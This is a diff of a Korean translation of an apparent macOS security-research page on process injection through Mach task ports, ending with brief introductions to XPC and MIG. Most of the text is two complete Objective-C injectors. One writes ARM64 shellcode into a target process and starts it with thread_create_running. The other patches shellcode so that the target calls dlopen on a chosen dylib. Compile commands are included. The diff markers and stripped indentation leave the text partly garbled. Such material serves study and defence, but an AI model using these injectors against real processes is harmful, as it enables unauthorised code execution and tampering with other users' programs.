포트를 통한 스레드에서의 셸코드 주입 -You can grab a shellcode from: +다음에서 셸코드를 가져올 수 있습니다: {{#ref}} ../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -256,7 +248,6 @@ You can grab a shellcode from: {{#tabs}} {{#tab name="mysleep.m"}} - ```objectivec // clang -framework Foundation mysleep.m -o mysleep // codesign --entitlements entitlements.plist -s - mysleep @@ -264,52 +255,48 @@ You can grab a shellcode from: #import double performMathOperations() { - double result = 0; - for (int i = 0; i < 10000; i++) { - result += sqrt(i) * tan(i) - cos(i); - } - return result; +double result = 0; +for (int i = 0; i < 10000; i++) { +result += sqrt(i) * tan(i) - cos(i); +} +return result; } int main(int argc, const char * argv[]) { - @autoreleasepool { - NSLog(@"Process ID: %d", [[NSProcessInfo processInfo] +@autoreleasepool { +NSLog(@"Process ID: %d", [[NSProcessInfo processInfo] processIdentifier]); - while (true) { - [NSThread sleepForTimeInterval:5]; +while (true) { +[NSThread sleepForTimeInterval:5]; - performMathOperations(); // Silent action +performMathOperations(); // Silent action - [NSThread sleepForTimeInterval:5]; - } - } - return 0; +[NSThread sleepForTimeInterval:5]; +} +} +return 0; } ``` - {{#endtab}} {{#tab name="entitlements.plist"}} - ```xml - com.apple.security.get-task-allow - +com.apple.security.get-task-allow + ``` - {{#endtab}} {{#endtabs}} -**Compile** the previous program and add the **entitlements** to be able to inject code with the same user (if not you will need to use **sudo**). +**이전 프로그램을 컴파일하고 동일한 사용자로 코드를 주입할 수 있도록 **entitlements**를 추가하십시오(그렇지 않으면 **sudo**를 사용해야 합니다).**
sc_injector.m - ```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector @@ -323,18 +310,18 @@ processIdentifier]); kern_return_t mach_vm_allocate ( - vm_map_t target, - mach_vm_address_t *address, - mach_vm_size_t size, - int flags +vm_map_t target, +mach_vm_address_t *address, +mach_vm_size_t size, +int flags ); kern_return_t mach_vm_write ( - vm_map_t target_task, - mach_vm_address_t address, - vm_offset_t data, - mach_msg_type_number_t dataCnt +vm_map_t target_task, +mach_vm_address_t address, +vm_offset_t data, +mach_msg_type_number_t dataCnt ); @@ -352,177 +339,174 @@ char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\ int inject(pid_t pid){ - task_t remoteTask; +task_t remoteTask; - // Get access to the task port of the process we want to inject into - kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); - if (kr != KERN_SUCCESS) { - fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); - return (-1); - } - else{ - printf("Gathered privileges over the task port of process: %d\n", pid); - } +// Get access to the task port of the process we want to inject into +kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); +if (kr != KERN_SUCCESS) { +fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); +return (-1); +} +else{ +printf("Gathered privileges over the task port of process: %d\n", pid); +} - // Allocate memory for the stack - mach_vm_address_t remoteStack64 = (vm_address_t) NULL; - mach_vm_address_t remoteCode64 = (vm_address_t) NULL; - kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); +// Allocate memory for the stack +mach_vm_address_t remoteStack64 = (vm_address_t) NULL; +mach_vm_address_t remoteCode64 = (vm_address_t) NULL; +kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); - return (-2); - } - else - { +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); +return (-2); +} +else +{ - fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); - } +fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); +} - // Allocate memory for the code - remoteCode64 = (vm_address_t) NULL; - kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE ); +// Allocate memory for the code +remoteCode64 = (vm_address_t) NULL; +kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE ); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); - return (-2); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); +return (-2); +} - // Write the shellcode to the allocated memory - kr = mach_vm_write(remoteTask, // Task port - remoteCode64, // Virtual Address (Destination) - (vm_address_t) injectedCode, // Source - 0xa9); // Length of the source +// Write the shellcode to the allocated memory +kr = mach_vm_write(remoteTask, // Task port +remoteCode64, // Virtual Address (Destination) +(vm_address_t) injectedCode, // Source +0xa9); // Length of the source - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); - return (-3); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); +return (-3); +} - // Set the permissions on the allocated code memory - kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); +// Set the permissions on the allocated code memory +kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); - return (-4); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); +return (-4); +} - // Set the permissions on the allocated stack memory - kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); +// Set the permissions on the allocated stack memory +kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); - return (-4); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); +return (-4); +} - // Create thread to run shellcode - struct arm_unified_thread_state remoteThreadState64; - thread_act_t remoteThread; +// Create thread to run shellcode +struct arm_unified_thread_state remoteThreadState64; +thread_act_t remoteThread; - memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) ); +memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) ); - remoteStack64 += (STACK_SIZE / 2); // this is the real stack - //remoteStack64 -= 8; // need alignment of 16 +remoteStack64 += (STACK_SIZE / 2); // this is the real stack +//remoteStack64 -= 8; // need alignment of 16 - const char* p = (const char*) remoteCode64; +const char* p = (const char*) remoteCode64; - remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; - remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; - remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; - remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64; +remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; +remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; +remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; +remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64; - printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p ); +printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p ); - kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, - (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread ); +kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, +(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread ); - if (kr != KERN_SUCCESS) { - fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); - return (-3); - } +if (kr != KERN_SUCCESS) { +fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); +return (-3); +} - return (0); +return (0); } pid_t pidForProcessName(NSString *processName) { - NSArray *arguments = @[@"pgrep", processName]; - NSTask *task = [[NSTask alloc] init]; - [task setLaunchPath:@"/usr/bin/env"]; - [task setArguments:arguments]; +NSArray *arguments = @[@"pgrep", processName]; +NSTask *task = [[NSTask alloc] init]; +[task setLaunchPath:@"/usr/bin/env"]; +[task setArguments:arguments]; - NSPipe *pipe = [NSPipe pipe]; - [task setStandardOutput:pipe]; +NSPipe *pipe = [NSPipe pipe]; +[task setStandardOutput:pipe]; - NSFileHandle *file = [pipe fileHandleForReading]; +NSFileHandle *file = [pipe fileHandleForReading]; - [task launch]; +[task launch]; - NSData *data = [file readDataToEndOfFile]; - NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding]; +NSData *data = [file readDataToEndOfFile]; +NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding]; - return (pid_t)[string integerValue]; +return (pid_t)[string integerValue]; } BOOL isStringNumeric(NSString *str) { - NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; - NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; - return r.location == NSNotFound; +NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; +NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; +return r.location == NSNotFound; } int main(int argc, const char * argv[]) { - @autoreleasepool { - if (argc < 2) { - NSLog(@"Usage: %s ", argv[0]); - return 1; - } +@autoreleasepool { +if (argc < 2) { +NSLog(@"Usage: %s ", argv[0]); +return 1; +} - NSString *arg = [NSString stringWithUTF8String:argv[1]]; - pid_t pid; +NSString *arg = [NSString stringWithUTF8String:argv[1]]; +pid_t pid; - if (isStringNumeric(arg)) { - pid = [arg intValue]; - } else { - pid = pidForProcessName(arg); - if (pid == 0) { - NSLog(@"Error: Process named '%@' not found.", arg); - return 1; - } - else{ - printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); - } - } +if (isStringNumeric(arg)) { +pid = [arg intValue]; +} else { +pid = pidForProcessName(arg); +if (pid == 0) { +NSLog(@"Error: Process named '%@' not found.", arg); +return 1; +} +else{ +printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); +} +} - inject(pid); - } +inject(pid); +} - return 0; +return 0; } ``` -
- ```bash gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject ./inject ``` +### 스레드에서 Task 포트를 통한 Dylib 주입 -### Dylib Injection in thread via Task port +macOS에서 **스레드**는 **Mach** 또는 **posix `pthread` api**를 사용하여 조작할 수 있습니다. 이전 주입에서 생성한 스레드는 Mach api를 사용하여 생성되었으므로 **posix 호환성이 없습니다**. -In macOS **threads** might be manipulated via **Mach** or using **posix `pthread` api**. The thread we generated in the previous injection, was generated using Mach api, so **it's not posix compliant**. +**단순한 셸코드**를 주입하여 명령을 실행할 수 있었던 이유는 **posix** 호환 api와 작업할 필요가 없었기 때문이며, 오직 Mach과만 작업하면 되었습니다. **더 복잡한 주입**은 **스레드**가 또한 **posix 호환성**을 가져야 합니다. -It was possible to **inject a simple shellcode** to execute a command because it **didn't need to work with posix** compliant apis, only with Mach. **More complex injections** would need the **thread** to be also **posix compliant**. +따라서 **스레드**를 **개선하기 위해** **`pthread_create_from_mach_thread`**를 호출해야 하며, 이는 **유효한 pthread**를 생성합니다. 그런 다음, 이 새로운 pthread는 **dlopen**을 호출하여 시스템에서 **dylib**를 **로드**할 수 있으므로, 다양한 작업을 수행하기 위해 새로운 셸코드를 작성하는 대신 사용자 정의 라이브러리를 로드할 수 있습니다. -Therefore, to **improve the thread** it should call **`pthread_create_from_mach_thread`** which will **create a valid pthread**. Then, this new pthread could **call dlopen** to **load a dylib** from the system, so instead of writing new shellcode to perform different actions it's possible to load custom libraries. - -You can find **example dylibs** in (for example the one that generates a log and then you can listen to it): +**예제 dylibs**는 (예를 들어 로그를 생성하고 이를 들을 수 있는 것) 다음에서 찾을 수 있습니다: {{#ref}} ../../macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -531,7 +515,6 @@ You can find **example dylibs** in (for example the one that generates a log and
dylib_injector.m - ```objectivec // gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector // Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c @@ -557,18 +540,18 @@ You can find **example dylibs** in (for example the one that generates a log and // And I say, bullshit. kern_return_t mach_vm_allocate ( - vm_map_t target, - mach_vm_address_t *address, - mach_vm_size_t size, - int flags +vm_map_t target, +mach_vm_address_t *address, +mach_vm_size_t size, +int flags ); kern_return_t mach_vm_write ( - vm_map_t target_task, - mach_vm_address_t address, - vm_offset_t data, - mach_msg_type_number_t dataCnt +vm_map_t target_task, +mach_vm_address_t address, +vm_offset_t data, +mach_msg_type_number_t dataCnt ); @@ -583,236 +566,233 @@ kern_return_t mach_vm_write char injectedCode[] = - // "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :) +// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :) - // Call pthread_set_self +// Call pthread_set_self - "\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables - "\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack - "\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer - "\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the - "\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct - "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0; - "\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start - "\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0; - "\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread) - "\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread - "\x00\x00\x00\x14" // loop: b loop ; loop forever +"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables +"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack +"\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer +"\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the +"\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct +"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0; +"\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start +"\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0; +"\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread) +"\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread +"\x00\x00\x00\x14" // loop: b loop ; loop forever - // Call dlopen with the path to the library - "\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB..."; - "\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN - "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0; - "\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop - "\x00\x01\x3f\xd6" // BLR X8 ; do dlopen() +// Call dlopen with the path to the library +"\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB..."; +"\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN +"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0; +"\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop +"\x00\x01\x3f\xd6" // BLR X8 ; do dlopen() - // Call pthread_exit - "\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT - "\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0; - "\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit +// Call pthread_exit +"\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT +"\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0; +"\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit - "PTHRDCRT" // <- - "PTHRDEXT" // <- - "DLOPEN__" // <- - "LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ; +"PTHRDCRT" // <- +"PTHRDEXT" // <- +"DLOPEN__" // <- +"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB" +"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" +"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" +"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" +"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" +"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ; int inject(pid_t pid, const char *lib) { - task_t remoteTask; - struct stat buf; +task_t remoteTask; +struct stat buf; - // Check if the library exists - int rc = stat (lib, &buf); +// Check if the library exists +int rc = stat (lib, &buf); - if (rc != 0) - { - fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno)); - //return (-9); - } +if (rc != 0) +{ +fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno)); +//return (-9); +} - // Get access to the task port of the process we want to inject into - kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); - if (kr != KERN_SUCCESS) { - fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); - return (-1); - } - else{ - printf("Gathered privileges over the task port of process: %d\n", pid); - } +// Get access to the task port of the process we want to inject into +kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); +if (kr != KERN_SUCCESS) { +fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); +return (-1); +} +else{ +printf("Gathered privileges over the task port of process: %d\n", pid); +} - // Allocate memory for the stack - mach_vm_address_t remoteStack64 = (vm_address_t) NULL; - mach_vm_address_t remoteCode64 = (vm_address_t) NULL; - kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); +// Allocate memory for the stack +mach_vm_address_t remoteStack64 = (vm_address_t) NULL; +mach_vm_address_t remoteCode64 = (vm_address_t) NULL; +kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); - return (-2); - } - else - { +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); +return (-2); +} +else +{ - fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); - } +fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); +} - // Allocate memory for the code - remoteCode64 = (vm_address_t) NULL; - kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE ); +// Allocate memory for the code +remoteCode64 = (vm_address_t) NULL; +kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE ); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); - return (-2); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); +return (-2); +} - // Patch shellcode +// Patch shellcode - int i = 0; - char *possiblePatchLocation = (injectedCode ); - for (i = 0 ; i < 0x100; i++) - { +int i = 0; +char *possiblePatchLocation = (injectedCode ); +for (i = 0 ; i < 0x100; i++) +{ - // Patching is crude, but works. - // - extern void *_pthread_set_self; - possiblePatchLocation++; +// Patching is crude, but works. +// +extern void *_pthread_set_self; +possiblePatchLocation++; - uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread; - uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit; - uint64_t addrOfDlopen = (uint64_t) dlopen; +uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread; +uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit; +uint64_t addrOfDlopen = (uint64_t) dlopen; - if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0) - { - memcpy(possiblePatchLocation, &addrOfPthreadExit,8); - printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit); - } +if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0) +{ +memcpy(possiblePatchLocation, &addrOfPthreadExit,8); +printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit); +} - if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0) - { - memcpy(possiblePatchLocation, &addrOfPthreadCreate,8); - printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate); - } +if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0) +{ +memcpy(possiblePatchLocation, &addrOfPthreadCreate,8); +printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate); +} - if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0) - { - printf ("DLOpen @%llx\n", addrOfDlopen); - memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t)); - } +if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0) +{ +printf ("DLOpen @%llx\n", addrOfDlopen); +memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t)); +} - if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0) - { - strcpy(possiblePatchLocation, lib ); - } - } +if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0) +{ +strcpy(possiblePatchLocation, lib ); +} +} - // Write the shellcode to the allocated memory - kr = mach_vm_write(remoteTask, // Task port - remoteCode64, // Virtual Address (Destination) - (vm_address_t) injectedCode, // Source - 0xa9); // Length of the source +// Write the shellcode to the allocated memory +kr = mach_vm_write(remoteTask, // Task port +remoteCode64, // Virtual Address (Destination) +(vm_address_t) injectedCode, // Source +0xa9); // Length of the source - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); - return (-3); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); +return (-3); +} - // Set the permissions on the allocated code memory - kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); +// Set the permissions on the allocated code memory +kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); - return (-4); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); +return (-4); +} - // Set the permissions on the allocated stack memory - kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); +// Set the permissions on the allocated stack memory +kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); - return (-4); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); +return (-4); +} - // Create thread to run shellcode - struct arm_unified_thread_state remoteThreadState64; - thread_act_t remoteThread; +// Create thread to run shellcode +struct arm_unified_thread_state remoteThreadState64; +thread_act_t remoteThread; - memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) ); +memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) ); - remoteStack64 += (STACK_SIZE / 2); // this is the real stack - //remoteStack64 -= 8; // need alignment of 16 +remoteStack64 += (STACK_SIZE / 2); // this is the real stack +//remoteStack64 -= 8; // need alignment of 16 - const char* p = (const char*) remoteCode64; +const char* p = (const char*) remoteCode64; - remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; - remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; - remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; - remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64; +remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; +remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; +remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; +remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64; - printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p ); +printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p ); - kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, - (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread ); +kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, +(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread ); - if (kr != KERN_SUCCESS) { - fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); - return (-3); - } +if (kr != KERN_SUCCESS) { +fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); +return (-3); +} - return (0); +return (0); } int main(int argc, const char * argv[]) { - if (argc < 3) - { - fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]); - fprintf (stderr, " _action_: path to a dylib on disk\n"); - exit(0); - } +if (argc < 3) +{ +fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]); +fprintf (stderr, " _action_: path to a dylib on disk\n"); +exit(0); +} - pid_t pid = atoi(argv[1]); - const char *action = argv[2]; - struct stat buf; +pid_t pid = atoi(argv[1]); +const char *action = argv[2]; +struct stat buf; - int rc = stat (action, &buf); - if (rc == 0) inject(pid,action); - else - { - fprintf(stderr,"Dylib not found\n"); - } +int rc = stat (action, &buf); +if (rc == 0) inject(pid,action); +else +{ +fprintf(stderr,"Dylib not found\n"); +} } ``` -
- ```bash gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector ./inject ``` +### 스레드 하이재킹을 통한 작업 포트 -### Thread Hijacking via Task port - -In this technique a thread of the process is hijacked: +이 기술에서는 프로세스의 스레드가 하이재킹됩니다: {{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md @@ -820,27 +800,27 @@ In this technique a thread of the process is hijacked: ## XPC -### Basic Information +### 기본 정보 -XPC, which stands for XNU (the kernel used by macOS) inter-Process Communication, is a framework for **communication between processes** on macOS and iOS. XPC provides a mechanism for making **safe, asynchronous method calls between different processes** on the system. It's a part of Apple's security paradigm, allowing for the **creation of privilege-separated applications** where each **component** runs with **only the permissions it needs** to do its job, thereby limiting the potential damage from a compromised process. +XPC는 macOS와 iOS에서 프로세스 간 통신을 위한 프레임워크로, XNU(맥OS에서 사용되는 커널)를 의미합니다. XPC는 시스템의 서로 다른 프로세스 간에 **안전하고 비동기적인 메서드 호출**을 수행하는 메커니즘을 제공합니다. 이는 Apple의 보안 패러다임의 일부로, 각 **구성 요소**가 작업을 수행하는 데 필요한 **권한만**으로 실행되는 **특권 분리 애플리케이션**의 생성을 가능하게 하여, 손상된 프로세스로 인한 잠재적 피해를 제한합니다. -For more information about how this **communication work** on how it **could be vulnerable** check: +이 **통신이 어떻게 작동하는지** 및 **어떻게 취약할 수 있는지**에 대한 자세한 정보는 다음을 확인하세요: {{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/ {{#endref}} -## MIG - Mach Interface Generator +## MIG - Mach 인터페이스 생성기 -MIG was created to **simplify the process of Mach IPC** code creation. It basically **generates the needed code** for server and client to communicate with a given definition. Even if the generated code is ugly, a developer will just need to import it and his code will be much simpler than before. +MIG는 **Mach 